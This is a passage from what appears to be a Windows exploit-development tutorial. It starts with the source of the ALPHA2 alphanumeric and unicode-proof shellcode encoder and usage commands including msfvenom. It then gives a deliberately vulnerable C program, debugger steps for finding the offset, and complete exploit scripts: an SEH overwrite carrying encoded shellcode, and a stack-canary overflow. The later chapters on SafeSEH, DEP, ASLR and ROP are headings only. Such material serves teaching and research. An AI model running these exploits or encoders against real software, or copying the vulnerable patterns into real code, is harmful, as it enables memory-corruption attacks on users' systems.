{ NULL, NULL }
}, mixedcase_unicode_decoders[] = {
{ "nops", "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
{ "eax", "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ecx", "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
{ "edx", "RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ebx", "SSYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "esp", "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ebp", "UUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "esi", "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "edi", "WWYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "[esp]", "YAIAIAIAIAIAIAIAIAIAIAIAIAIAIA44" mixedcase_unicode_decoder_body },
{ "[esp+4]", "YUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ NULL, NULL }
}, uppercase_unicode_decoders[] = {
{ "nops", "IAIAIAIA4444" uppercase_unicode_decoder_body },
{ "eax", "PPYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ecx", "IAIAIAIA4444" uppercase_unicode_decoder_body },
{ "edx", "RRYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ebx", "SSYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "esp", "TUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ebp", "UUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "esi", "VVYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "edi", "WWYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "[esp]", "YAIAIAIAIA44" uppercase_unicode_decoder_body },
{ "[esp+4]", "YUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ NULL, NULL }
}, mixedcase_unicode_nocompress_decoders[] = {
{ "nops", "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "eax", "PPYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ecx", "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "edx", "RRYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ebx", "SSYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "esp", "TUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ebp", "UUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "esi", "VVYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "edi", "WWYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "[esp]", "YA4444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "[esp+4]", "YUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ NULL, NULL }
}, uppercase_unicode_nocompress_decoders[] = {
{ "nops", "44444444444444" uppercase_unicode_decoder_body },
{ "eax", "PPYA4444444444" uppercase_unicode_decoder_body },
{ "ecx", "44444444444444" uppercase_unicode_decoder_body },
{ "edx", "RRYA4444444444" uppercase_unicode_decoder_body },
{ "ebx", "SSYA4444444444" uppercase_unicode_decoder_body },
{ "esp", "TUYA4444444444" uppercase_unicode_decoder_body },
{ "ebp", "UUYA4444444444" uppercase_unicode_decoder_body },
{ "esi", "VVYA4444444444" uppercase_unicode_decoder_body },
{ "edi", "WWYA4444444444" uppercase_unicode_decoder_body },
{ "[esp]", "YA444444444444" uppercase_unicode_decoder_body },
{ "[esp+4]", "YUYA4444444444" uppercase_unicode_decoder_body },
{ NULL, NULL }
};

struct decoder* decoders[] = {
mixedcase_ascii_decoders, uppercase_ascii_decoders,
mixedcase_unicode_decoders, uppercase_unicode_decoders,
mixedcase_ascii_nocompress_decoders, uppercase_ascii_nocompress_decoders,
mixedcase_unicode_nocompress_decoders, uppercase_unicode_nocompress_decoders
};
void version(void) {
printf(
"________________________________________________________________________________\n"
"\n"
" ,sSSs,,s, ,sSSSs, " VERSION_STRING "\n"
" SS\" Y$P\" SY\" ,SY \n"
" iS' dY ,sS\" Unicode-proof uppercase alphanumeric shellcode encoding.\n"
" YS, dSb ,sY\" " COPYRIGHT "\n"
" `\"YSS'\"S' 'SSSSSSSP <skylined@edup.tudelft.nl>\n"
"________________________________________________________________________________\n"
"\n"
);
exit(EXIT_SUCCESS);
}

void help(char* name) {
printf(
"Usage: %s [OPTION] [BASEADDRESS]\n"
"ALPHA 2 encodes your IA-32 shellcode to contain only alphanumeric characters.\n"
"The result can optionaly be uppercase-only and/or unicode proof. It is a encoded\n"
"version of your origional shellcode. It consists of baseaddress-code with some\n"
"padding, a decoder routine and the encoded origional shellcode. This will work\n"
"for any target OS. The resulting shellcode needs to have RWE-access to modify\n"
"it's own code and decode the origional shellcode in memory.\n"
"\n"
"BASEADDRESS\n"
" The decoder routine needs have it's baseaddress in specified register(s). The\n"
" baseaddress-code copies the baseaddress from the given register or stack\n"
" location into the apropriate registers.\n"
"eax, ecx, edx, ecx, esp, ebp, esi, edi\n"
" Take the baseaddress from the given register. (Unicode baseaddress code using\n"
" esp will overwrite the byte of memory pointed to by ebp!)\n"
"[esp], [esp-X], [esp+X]\n"
" Take the baseaddress from the stack.\n"
"seh\n"
" The windows \"Structured Exception Handler\" (seh) can be used to calculate\n"
" the baseaddress automatically on win32 systems. This option is not available\n"
" for unicode-proof shellcodes and the uppercase version isn't 100%% reliable.\n"
"nops\n"
" No baseaddress-code, just padding. If you need to get the baseaddress from a\n"
" source not on the list use this option (combined with --nocompress) and\n"
" replace the nops with your own code. The ascii decoder needs the baseaddress\n"
" in registers ecx and edx, the unicode-proof decoder only in ecx.\n"
"-n\n"
" Do not output a trailing newline after the shellcode.\n"
"--nocompress\n"
" The baseaddress-code uses \"dec\"-instructions to lower the required padding\n"
" length. The unicode-proof code will overwrite some bytes in front of the\n"
" shellcode as a result. Use this option if you do not want the \"dec\"-s.\n"
"--unicode\n"
" Make shellcode unicode-proof. This means it will only work when it gets\n"
" converted to unicode (inserting a '0' after each byte) before it gets\n"
" executed.\n"
"--uppercase\n"
" Make shellcode 100%% uppercase characters, uses a few more bytes then\n"
" mixedcase shellcodes.\n"
"--sources\n"
" Output a list of BASEADDRESS options for the given combination of --uppercase\n"
" and --unicode.\n"
"--help\n"
" Display this help and exit\n"
"--version\n"
" Output version information and exit\n"
"\n"
"See the source-files for further details and copying conditions. There is NO\n"
"warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
"\n"
"Acknowledgements:\n"
" Thanks to rix for his phrack article on aphanumeric shellcode.\n"
" Thanks to obscou for his phrack article on unicode-proof shellcode.\n"
" Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.\n"
"\n"
"Report bugs to <skylined@edup.tudelft.nl>\n",
name
);
exit(EXIT_SUCCESS);
}

//-----------------------------------------------------------------------------
int main(int argc, char* argv[], char* envp[]) {
int uppercase = 0, unicode = 0, sources = 0, w32sehgetpc = 0,
nonewline = 0, nocompress = 0, options = 0, spaces = 0;
char* baseaddress = NULL;
int i, input, A, B, C, D, E, F;
char* valid_chars;

// Random seed
struct timeval tv;
struct timezone tz;
gettimeofday(&tv, &tz);
srand((int)tv.tv_sec*1000+tv.tv_usec);

// Scan all the options and set internal variables accordingly
for (i=1; i<argc; i++) {
if (strcmp(argv[i], "--help") == 0) help(argv[0]);
else if (strcmp(argv[i], "--version") == 0) version();
else if (strcmp(argv[i], "--uppercase") == 0) uppercase = 1;
else if (strcmp(argv[i], "--unicode") == 0) unicode = 1;
else if (strcmp(argv[i], "--nocompress") == 0) nocompress = 1;
else if (strcmp(argv[i], "--sources") == 0) sources = 1;
else if (strcmp(argv[i], "--spaces") == 0) spaces = 1;
else if (strcmp(argv[i], "-n") == 0) nonewline = 1;
else if (baseaddress == NULL) baseaddress = argv[i];
else {
fprintf(stderr, "%s: more then one BASEADDRESS option: `%s' and `%s'\n"
"Try `%s --help' for more information.\n",
argv[0], baseaddress, argv[i], argv[0]);
exit(EXIT_FAILURE);
}
}

// No baseaddress option ?
if (baseaddress == NULL) {
fprintf(stderr, "%s: missing BASEADDRESS options.\n"
"Try `%s --help' for more information.\n", argv[0], argv[0]);
exit(EXIT_FAILURE);
}
// The uppercase, unicode and nocompress option determine which decoder we'll
// need to use. For each combination of these options there is an array,
// indexed by the baseaddress with decoders. Pointers to these arrays have
// been put in another array, we can calculate the index into this second
// array like this:
options = uppercase+unicode*2+nocompress*4;
// decoders[options] will now point to an array of decoders for the specified
// options. The array contains one decoder for every possible baseaddress.

// Someone wants to know which baseaddress options the specified options
// for uppercase, unicode and/or nocompress allow:
if (sources) {
printf("Available options for %s%s alphanumeric shellcode:\n",
uppercase ? "uppercase" : "mixedcase",
unicode ? " unicode-proof" : "");
for (i=0; decoders[options][i].id != NULL; i++) {
printf(" %s\n", decoders[options][i].id);
}
printf("\n");
exit(EXIT_SUCCESS);
}


if (uppercase) {
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
} else {
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
}

// Find and output decoder
for (i=0; strcasecmp(baseaddress, decoders[options][i].id) != 0; i++) {
if (decoders[options][i+1].id == NULL) {
fprintf(stderr, "%s: unrecognized baseaddress option `%s'\n"
"Try `%s %s%s--sources' for a list of BASEADDRESS options.\n",
argv[0], baseaddress, argv[0],
uppercase ? "--uppercase " : "",
unicode ? "--unicode " : "");
exit(EXIT_FAILURE);
}
}
printf("%s", decoders[options][i].code);

// read, encode and output shellcode
while ((input = getchar()) != EOF) {
// encoding AB -> CD 00 EF 00
A = (input & 0xf0) >> 4;
B = (input & 0x0f);

F = B;
// E is arbitrary as long as EF is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
// normal code uses xor, unicode-proof uses ADD.
// AB ->
D = unicode ? (A-E) & 0x0f : (A^E);
// C is arbitrary as long as CD is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
printf("%c%c", (C<<4)+D, (E<<4)+F);
}
printf("A%s", nonewline ? "" : "\n"); // Terminating "A"

exit(EXIT_SUCCESS);
}

Compile in Linux, but the shellcodes can be used in Windows.

1
2
$ gcc alpha2.c -o alpha2
$ chmod +x ./alpha2

1
$ ./alpha2 eax --unicode --uppercase < messagebox.bin

We can also use metasploit:

1
$ msfvenom -a x86 --platform -p windows/messagebox icon=warning text='HelloWorld' title='hello' -e x86/alpha_mixed -f c

In conclusion, the main difficulties include:

  • Using memory addresses in the form of 00mm00mm to overwrite the return address or SEH structure.
  • Using assembly instructions that contain \x00.
  • Shellcode must be encoded using a special algorithm; however, this increases the length of the shellcode.

Another problem is that offset patterns generated by Metasploit or Mona may be unreliable, since values stored in Unicode-based registers can be unpredictable.

The following instructions are commonly used:

Opcode Intruction
61 POPAD
006E00 ADD [ESI], CH
006F00 ADD [EDI], CH
007000 ADD [EAX], DH
007100 ADD [ECX], DH
007200 ADD [EDX], DH
007300 ADD [EBX], DH
0500QQ00PP ADD EAX, 0xPP00QQ00
2D00QQ00PP SUB EAX, 0xPP00QQ00

Practice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//vulnerable005.c
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

char rock[0xE000] = "...some data";
char Rahab[0x2000] = "\x90\x58\x58\xc3"; //NOP/POP/POP/RET

void foo(void *src_buf, size_t const len) {
size_t const BUF_LEN = 128;
char bad_buf[BUF_LEN];

memcpy(bad_buf, src_buf, len * 2); //bad usage!
}

int main(int argc, char *argv[]) {
size_t const STR_LEN = 4096;
wchar_t *unicode_buf = malloc(STR_LEN);
char ascii_buf[STR_LEN];
FILE *pfile;
int rt;

printf("Vulnerable005 starts...\n");

if (argc >= 2) {
pfile = fopen(argv[1], "r");
fscanf(pfile, "%s", ascii_buf);
rt = MultiByteToWideChar(CP_UTF7, 0, ascii_buf, -1, unicode_buf, STR_LEN);
if (rt == 0) {
return -1;
}

foo(unicode_buf, rt * 2);
}

printf("Vulnerable005 ends...\n");
free(unicode_buf);
}

1
!mona pattern_create 3000

Right Click -> Follow address in stack

Windows uses little-endian byte order. Therefore, the value used to overwrite the Next field is 0x43007900, and the value used to overwrite the Handler field is 0x36004300.

Concatenate them together: 0x43007900_36004300.
Remove the null bytes (\x00): 0x43793643.

1
!mona pattern_offset 43793643

Thus, the offset is 2298.

Exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//attack-vulnerable005.cpp
#include <string>
#include <fstream>

using namespace std;

char code[] = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4OM0KPKP30U9K5NQXRS44KR200TKB2LLDK0RN44KRRMXLOFW0JO6P1KONQ90FLOLS1SLLBNLMPGQHOLMKQ97Q9RUJOPRR74KPRN04KQ2OLM1Z0TKOP2XSUGPT4PLKQ8PDK0HLXTKQHMPM1Z30PSU7YSDOLQ9TKNTDKP1KOM1HVNQ7P7Q8OLMVLKQI7P8K0RUKDKSSMKHOKSMO4RUIP0X4KPXMTKQ9CRFDKLLPKDK1HMLM1HSTKLD4KKQ8PTI0DNDNDQKQK1QQIPZ0QKOYPR8QOPZ4KN2K93PKOKOKOQMYXLKKPM0KPCET31UT2NSOBNNS4BLBLM01XPL2WMVM7KOXU2JM0ZHLIKPKPM0OR0O16MP0T2ESC44KP9XLLM0KPM0PHS5BL2LROO0BW2OT2RLQTKPBJKPS815CSPVKWKOXU1ZKPQXZPH572R6KO8UA";

int main() {
string const EXPLOIT_FILENAME = "exploit-vulnerable005.txt";
ofstream fout(EXPLOIT_FILENAME.c_str());

size_t const LENGTH = 2298;
size_t const OFFSET = 124;

string junk1(OFFSET, 'A');

string shellcode(code);
string junk2(LENGTH - junk1.size() - shellcode.size(), 'B');
string next("\x61\x72"); //0042 0042

string handler("\x01\x41"); //00410001, Rahab

string walkcode =
"\x72"
"\x05\x15\x11"
"\x72"
"\x2D\x11\x11"
"\x72"
"\x50"
"\x72"
"\xC3";

string exploit = junk1 + shellcode + junk2 + next + handler + walkcode;

fout << exploit;
}

Practice——GOM Player

Chapter 6 - Offensive and Defensive

Canary


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//gf.cpp
#include <string>

void function_empty() {}

void function_int_2() {
int ia[2] = { 0 };
}

void function_int_3() {
int ia[3] = { 0 };
}

void function_string() {
std::string s;
}

void function_char_4(char* in) {
char ca[4]("");
std::strcpy(ca, in);
}

void function_char_5(char* in) {
char ca[5]("");
std::strcpy(ca, in);
}

int main() {
static char atk[] = "AAAAAAAA" "BBBB" "\xEF\xBE\xAD\xDE";
function_char_5(atk);
}

Use the following command to disassemble a specified function (here u for unassemble, since d has been used for display).

1
uf function_string

View the security with the followign command:

1
dd __security_cookie l1

It is a 4 or 8 bytes data.

Let’s view function_empty

1
uf function_empty

This function DOES NOT have Security Cookie mechanism.

What if we turn off GS?

Now, function_string DOES NOT have Security Cookie mechanism.

1
0:000> g

Platform IDE
Windows XP SP3 x86 Visual Studio 2010 Express
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//attack_sc.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

#define FILENAME "vulnerable_sc_exploit.txt"

int main() {
string global_junk("junk\n");
string local_junk(128 + 4 + 4, 'A');
local_junk += "\xEF\xBE\xAD\xDE";

ofstream fout(FILENAME, ios::binary);
fout << global_junk << local_junk;

cout << "OK: " << FILENAME << endl;
}

1

6.2 - Safe Virtual Function

6.3 - SafeSEH

6.4 - Exploiting SafeSEH

6.5 - SEHOP

6.6 - Exploiting SEHOP

6.7 - DEP and ASLR

6.8 - Exploiting ASLR

Exploit other DLL without SafeSEH or ASLR.

6.9 - Are Windows 8 and Windows 10 Safe?

6.10 - ROP (Return-Oriented Programming)

6.11 - Six Ways to Exploit ROP

1. ZwSetInformationProcess

Advanced

Auxiliary——ByteArray

2. SetProcessDEPPolicy

3. VirtualProtect

4. WriteProcessMemory

5 and 6. ROP serializing Multiple Functions

6.12 - FinalDefence.exe

6.13 - Only Windows 7 x64?

6.14 - Practice——KMPlayer

6.15 - Not Only “Hello World”

THANKS FOR READING